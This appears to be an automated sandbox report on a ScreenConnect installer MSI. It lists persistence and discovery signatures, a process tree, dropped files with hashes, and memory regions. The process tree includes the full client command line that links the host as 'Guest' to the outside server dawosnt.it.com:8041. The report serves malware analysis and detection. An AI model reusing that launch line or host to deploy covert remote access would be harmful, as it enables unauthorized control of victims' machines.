Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 12:24

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.8MB
  • Sample260910-plkbysbr3x
  • SHA256 2324697b8f4009e60b48753c8052f944e44232175a6e79eebb6233761e3d10f9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1488
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2112
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 2A2513FC080FB9A724ED2B693DD5DCD0 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1860
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1B24.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240655359 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4700
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4876
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 40DF8B21B113548160CEB4AB71CAF47C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3744
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 200016E42E1F1023FB6DF0DEA2403200 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4164
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2960
    • C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=dawosnt.it.com&p=8041&s=94238f36-6dc2-40c2-8be8-3971320f9eea&k=BgIAAACkAABSU0ExAAgAAAEAAQD9QG6b8D%2bmsWP6HV7Dx6Z7of4MZJVStjWpCp17mgxt2DxGCXjIdkVWS2UlepYmBXflDusF%2bSqXCh2ANBwV1966mJCDvANfjuKVqlpSN20BGzItJmJTZ2zIJLMh%2bEuGZsVzPW4LdwVMKpyOuH0lFPlqG%2fRDiUDXJRMGRPqULGKaO5H7soLXphkCygCWrRVhHhgi6SnrGN2%2f2UnRCHKOv6zaR7b9xn%2ftsqnQQmyo%2bWpMhPvgx1R3gX5%2b5884RZxPE7ORmt31dDSC0p4d2JBcFuedUKIaIud82gEeSPF%2fur%2fcATkoBm0xcB4ltXoFs1DYnNSQbcHqzqrFjICvxuDKDS7c&c=mrs%20sts&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3044
      • C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\ScreenConnect.WindowsClient.exe" "RunRole" "c3b9ad3b-54ef-4dcb-9405-c4e1f09047f7" "User"
        2⤵
        • Executes dropped EXE
        PID:2916

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e585ace.rbs

          • Path C:\Config.Msi\e585ace.rbs
          • Size 214KB
          • SHA256 4608fd2d185da31f55a163adfd8f32223223d6fd01eb4a66a074cb55261e4092
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\Client.Override.en-US.resources
          • Size 292B
          • SHA256 b4e477e01f1f681062dc5c200c24d4405f96965e800cb0def7ebb356f59fb5c4
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\Client.Override.resources
          • Size 180B
          • SHA256 e13ed2c59366d0eea74863fd71a81f0cb977cce1edfde304fc538690a4f6ac89
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\app.config
          • Size 1005B
          • SHA256 d941ced9bb070fefe2b2c771b23470fadda02e018fdeff1adecbfc76da027f58
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (43b5fb2eea081367)\system.config
          • Size 940B
          • SHA256 22c9bcb3868320d09e5a19ad1c58cc8b31d5e65c7d1112859cbd0bcbf806ff31
          • MD5 SHA1 SHA512 TLSH

          MSI1B24.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1B24.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1B24.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1B24.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1B24.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1B24.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI5CA3.tmp

          • Path C:\Windows\Installer\MSI5CA3.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e585acd.msi

          • Path C:\Windows\Installer\e585acd.msi
          • Size 12.8MB
          • SHA256 2324697b8f4009e60b48753c8052f944e44232175a6e79eebb6233761e3d10f9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 f6a05ad0f9eb7eaafb45af3e164f841d3382944492124b7f5b490e3f8f5dce9d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {2733f389-0d69-4a49-8a9c-59ab7a1e1330}_OnDiskSnapshotProp

          • Path \??\Volume{cd0aa2ae-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{2733f389-0d69-4a49-8a9c-59ab7a1e1330}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 589eba5231a054d55b607a1a24223e93b2f19cf5e5ce5ffd906b952ef4dda5e9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2916-119-0x0000000002640000-0x0000000002676000-memory.dmp

          memory/2916-124-0x0000000002620000-0x0000000002638000-memory.dmp

          memory/2916-123-0x00000000024D0000-0x00000000024E8000-memory.dmp

          memory/2916-122-0x000000001C3B0000-0x000000001C536000-memory.dmp

          memory/2916-121-0x000000001B580000-0x000000001B72C000-memory.dmp

          memory/2916-120-0x000000001B340000-0x000000001B3CC000-memory.dmp

          memory/2916-118-0x00000000003D0000-0x0000000000468000-memory.dmp

          memory/3044-109-0x0000000004D10000-0x0000000004DE5000-memory.dmp

          memory/3044-107-0x0000000004880000-0x00000000048C1000-memory.dmp

          memory/3044-100-0x00000000047F0000-0x0000000004840000-memory.dmp

          memory/3044-78-0x0000000001F40000-0x0000000001F58000-memory.dmp

          memory/3044-105-0x0000000004B30000-0x0000000004BC2000-memory.dmp

          memory/3044-104-0x0000000004840000-0x0000000004876000-memory.dmp

          memory/4700-26-0x0000000004A10000-0x0000000004A9C000-memory.dmp

          memory/4700-22-0x0000000004970000-0x000000000497A000-memory.dmp

          memory/4700-18-0x0000000004930000-0x000000000495E000-memory.dmp

          memory/4700-30-0x0000000004C50000-0x0000000004DFC000-memory.dmp

          memory/4700-31-0x00000000053B0000-0x0000000005954000-memory.dmp